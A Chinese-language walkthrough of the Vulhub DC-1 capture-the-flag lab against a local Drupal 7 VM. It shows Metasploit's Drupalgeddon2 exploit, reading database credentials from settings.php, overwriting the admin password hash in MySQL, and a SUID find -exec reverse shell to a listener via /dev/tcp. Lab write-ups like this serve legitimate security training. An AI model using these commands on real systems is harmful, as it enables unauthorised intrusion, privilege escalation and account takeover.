参加过红队再来打Vulhub,感触颇深,也对渗透的理解更加深刻
信息搜集
扫描靶机IP
由于我的DC-1靶机是在本地上的,所以只需要扫描攻击机kali的网段即可找到DC-1靶机的IP
1 | nmap -sP 192.168.80.0/24 |
经过排查,发现192.168.80.134为靶机IP
扫描靶机目录
访问靶机IP,发现是一个Drupal 7网站,先扫一遍目录,发现了readme.txt和robots.txt,但是没有什么特别有价值的信息
渗透攻击
利用CVE
搜索了很多Drupal 7的CVE,但是基本上都要后台管理员权限,不然就是条件太苛刻,遂放弃
利用MSF
搜索exp
祭出大杀器msf,搜索Durpal相关exp,发现unix/webapp/drupal_drupalgeddon2是我们想要的
1 | search drupal |
设置IP
选择使用该exp,查看设置项,发现只需设置靶机IP即可
1 | use exploit/unix/webapp/drupal_drupalgeddon2 |
启动exp
1 | exploit |
获得shell
1 | shell |
获得交互式shell
用msf直接获得的shell有点垃圾,所以利用python获得交互式shell
1 | import pty;pty.spawn('/bin/bash') |
获得flag1
1 | ls |
1 | Every good CMS needs a config file - and so do you. |
获得flag2
根据flag1的提示,寻找Durpal的配置文件(settings.php)
1 | find -name "settings.php" |
读取settings.php文件,获得flag2和下一个flag的提示
Brute force and dictionary attacks aren’t the
only ways to gain access (and you WILL need access).
What can you do with these credentials?
获得flag3
根据flag2的提示,通过访问权限来进行下一步工作,settings.php中又有数据库配置信息,登录mysql寻找信息
1 | mysql -u dbuser -p |
成功登录mysql后开始翻数据库中的信息
1 | show databases; |
在users表中发现了admin的密码,但是是被加密过的,尝试破解
hashcat爆破无果,尝试直接修改密码,但是不能用修改后的明文密码直接登录,猜测需要用同款加密密文才行
通过百度找到Drupal自带的加密工具,生成hash
1 | ./scripts/password-hash.sh migooli |
登录mysql,修改admin密码
1 | update users set pass="$S$DAnPmd39q72Pd53ZitES/hatWzb/I5nE7Ckx74s7nE7WpgYFWxta" where name="admin"; |
使用修改后的密码登录网站,在content处找到flag3
Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.
获得flag4
根据flag3的提示,查看/etc/passwd,发现有个叫flag4的用户和目录
1 | cat /etc/passwd |
进入/home/flag4,拿到flag4
1 | cd /home/flag4 |
Can you use this same method to find or access the flag in root?
Probably. But perhaps it’s not that easy. Or maybe it is?
获得flag5
根据flag4的提示,需要进行提权,利用suid进行提权
首先查看root权限执行的程序
1 | find / -perm -u=s -type f 2>/dev/null |
发现find有root权限,可以用其进行提权
首先开启一个监听端口
1 | nc -lvnp 7777 |
利用find进行提权并反弹到监听的端口上
1 | find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.80.128/7777 0>&1 \; |
进入/root,获得flag5
1 | cd /root |
Well done!!!!
Hopefully you’ve enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7